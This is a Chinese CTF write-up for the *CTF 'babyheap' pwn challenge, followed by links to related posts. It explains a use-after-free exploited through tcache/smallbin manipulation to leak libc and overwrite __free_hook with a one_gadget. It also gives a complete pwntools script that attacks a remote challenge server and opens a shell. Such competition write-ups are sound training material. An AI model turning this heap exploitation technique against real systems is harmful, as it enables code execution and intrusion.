*CTF pwn write up
第一次做出XCTF的题目来,感谢wjh师傅的指点,虽然只做出一道最简单的pwn题,但是还是挺开心的。此贴用来记录一下,赛后试着看看其他大师傅的wp,看看能不能再做出一道题来。
babyheap
程序有add、delete、show、edit功能。
在add函数只能创建0x10-0x60大小的chunk。
delete函数存在uaf漏洞。
show函数平平无奇。
edit函数只能往chunk+8的位置进行写,就是在free之后不能直接利用uaf漏洞改写fd指针。
还有一个函数是leavename函数,此函数创建了一个0x400大小的chunk,里面存name。
知识点:当存在fastbins时,申请一个比较大的chunk,会将fastbins合并放到smallbins看看大小够不够分配,如果够的话就会用这个chunk,如果不够的话,再从top chunk里面切割。这里smallbins会存放libc的一些地址,加上uaf可以leak libc。
思路:先把0x60的tcache填满,在搞一个fastbins,这个时候调用leavename函数,让fastbins进入smallbins,此时leak libc基地址,这个smallbins也是0x60大小,之后申请比较小的chunk,会对smallbins进行切割,这个时候,利用uaf就可以写这些比较小的chunk的fd指针,将fd改成free_hook-0x8,把chunk申请过去,修改free_hook为onegadgets,执行delete就能拿到shell了。
exp:
1 from pwn import *
2
3 #p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so"})
4 #p = process('./pwn')
5 p = remote('52.152.231.198',8081)
6 elf = ELF('./pwn')
7 libc = ELF('./libc.so')
8 context(os='linux',arch='amd64',log_level='debug')
9
10 def duan():
11 gdb.attach(p)
12 pause()
13 def add(index,size):
14 p.sendlineafter('>> \n','1')
15 p.sendlineafter('index\n',str(index))
16 p.sendlineafter('size\n',str(size))
17 def delete(index):
18 p.sendlineafter('>> \n','2')
19 p.sendlineafter('index\n',str(index))
20 def edit(index,content):
21 p.sendlineafter('>> \n','3')
22 p.sendlineafter('index\n',str(index))
23 p.sendafter('content\n',content)
24 def show(index):
25 p.sendlineafter('>> \n','4')
26 p.sendlineafter('index\n',str(index))
27 def leavename(name):
28 p.sendlineafter('>> \n','5')
29 p.sendafter('name:\n',name)
30 def showname():
31 p.sendlineafter('>> \n','6')
32
33 #og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
34 og = [0x4f3d5,0x4f432,0x10a41c]
35
36 add(0,0x50)
37 add(1,0x50)
38 add(2,0x50)
39 add(3,0x50)
40 add(4,0x50)
41 add(5,0x50)
42 add(6,0x50)
43 add(7,0x50)
44 add(8,0x10)
45 delete(0)
46 delete(1)
47 delete(2)
48 delete(3)
49 delete(4)
50 delete(5)
51 delete(6)
52 delete(7)
53
54 leavename('bhxdn')
55 show(7)
56 libc_base = u64(p.recv(6).ljust(8,'\x00'))-176-0x10-libc.symbols['__malloc_hook']
57 print 'libc_base-->'+hex(libc_base)
58 shell = libc_base+og[1]
59 free_hook = libc_base+libc.symbols['__free_hook']
60
61 add(6,0x50)
62 add(5,0x50)
63 add(4,0x50)
64 add(3,0x50)
65 add(2,0x50)
66 add(1,0x50)
67 add(0,0x50)
68
69 add(9,0x10)
70 add(10,0x10)
71 delete(9)
72 delete(10)
73 edit(7,'aaaaaaaa'+p64(0)+p64(0x21)+p64(free_hook-0x8))
74 print 'libc_base-->'+hex(libc_base)
75 print 'free_hook-->'+hex(free_hook)
76 add(9,0x10)
77 add(10,0x10)
78 edit(10,p64(shell))
79 delete(0)
80 p.interactive()

*CTF pwn write up的更多相关文章
- 由一道CTF pwn题深入理解libc2.26中的tcache机制
本文首发安全客:https://www.anquanke.com/post/id/104760 在刚结束的HITB-XCTF有一道pwn题gundam使用了2.26版本的libc.因为2.26版本中加 ...
- ctf pwn ida 分析技巧
几年前的笔记,搬运过来 --- 1 先根据运行程序得到的信息命名外围函数,主要函数大写开头 2 /添加注释 3 直接vim程序,修改alarm为isnan可以patch掉alarm函数 4 y 可 ...
- CTF必备技能丨Linux Pwn入门教程——利用漏洞获取libc
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- pwn入门之栈溢出练习
本文原创作者:W1ngs,本文属i春秋原创奖励计划,未经许可禁止转载!前言:最近在入门pwn的栈溢出,做了一下jarvisoj里的一些ctf pwn题,感觉质量都很不错,难度循序渐进,把自己做题的思路 ...
- PWN入门
pwn ”Pwn”是一个黑客语法的俚语词 ,是指攻破设备或者系统 .发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵.以上是从百度百科上面抄的简介, ...
- 见微知著(一):解析ctf中的pwn--Fast bin里的UAF
在网上关于ctf pwn的入门资料和writeup还是不少的,但是一些过渡的相关知识就比较少了,大部分赛棍都是在不断刷题中总结和进阶的.所以我觉得可以把学习过程中的遇到的一些问题和技巧总结成文,供大家 ...
- 百度杯 十一月 的一道pwn题复现
拿到题后,就直接开鲁.. /ctf/pwn# checksec pwnme [*] '/ctf/pwn/pwnme' Arch: amd64--little RELRO: Full RELRO Sta ...
- 使用pwn_deploy_chroot部署国赛pwn比赛题目
目录 使用pwn_deploy_chroot部署国赛pwn比赛题目 一.前言 二.Docker 三.部署镜像 四.pwn_deploy_chroot 五.check && exp 六. ...
- pwn学习日记Day16 pwn原理理解
CTF-Pwn入门及栈溢出原理解释 CTF pwn 中最通俗易懂的堆入坑指南 看雪论坛
随机推荐
- [loj2339]通道
类似于[loj2553] 对第一棵树边分治,对第二棵树建立虚树,并根据直径合并的性质来处理第三棵树(另外在第三棵树中计算距离需要使用dfs序+ST表做到$o(1)$优化) 总复杂度为$o(n\log^ ...
- [spojSUBLEX]Lexicographical Substring Search
建立后缀自动机,对于同一个节点,出现次数是相同的(right的大小),同时满足单调性(长度越长出现次数越少),所以只需要考虑最长的串即可. PS:似乎也并不需要求依次后缀的max,不知道为什么-- 1 ...
- [loj3313]序列
定义$C_{i}$表示令$i,i+1,i+2,...$的位置减1的操作,定义$I_{i}$表示令$i,i+2,i+4,...$的位置减1的操作 结论1:一定存在一种最优解使得$\forall i$不同 ...
- Java设计模式之(八)——适配器模式
1.什么是适配器模式? Convert the interface of a class into another interface clients expect.Adapter lets clas ...
- k8s statefulset controller源码分析
statefulset controller分析 statefulset简介 statefulset是Kubernetes提供的管理有状态应用的对象,而deployment用于管理无状态应用. 有状态 ...
- C/C++ Qt Tree与Tab组件实现分页菜单
虽然TreeWidget组件可以实现多节点的增删改查,但多节点操作显然很麻烦,在一般的应用场景中基本上只使用一层结构即可解决大部分开发问题,TreeWidget组件通常可配合TabWidget组件,实 ...
- freeswitch APR库哈希表
概述 freeswitch的核心源代码是基于apr库开发的,在不同的系统上有很好的移植性. 哈希表在开发中应用的非常广泛,主要场景是对查询效率要求较高的逻辑,是典型的空间换时间的数据结构实现. 大多数 ...
- [Cnoi2020]线性生物
期望入门题.但是我不会做. 考虑设\(E_{x\to{x+1}}\)为\(x\)到\(x+1\)点的期望步数. 则\(ans = \sum_{i = 0}^{n} E_{x\to{x+1}}\) 知\ ...
- Codeforces 870F - Path(数论+分类讨论+正难则反)
Codeforces 题目传送门 & 洛谷题目传送门 首先考虑 \(d(u,v)\) 是个什么东西,分情况讨论: \(u\not\perp v\),\(d(u,v)=1\) \(u\perp ...
- Codeforces 739C - Alyona and towers(线段树)
Codeforces 题目传送门 & 洛谷题目传送门 可能有人会问我为什么为这道 *2500 的 D1C 写题解,我觉得大概是想要在写题解数量上 dd ycx 吧,因为 ycx 到目前为止写了 ...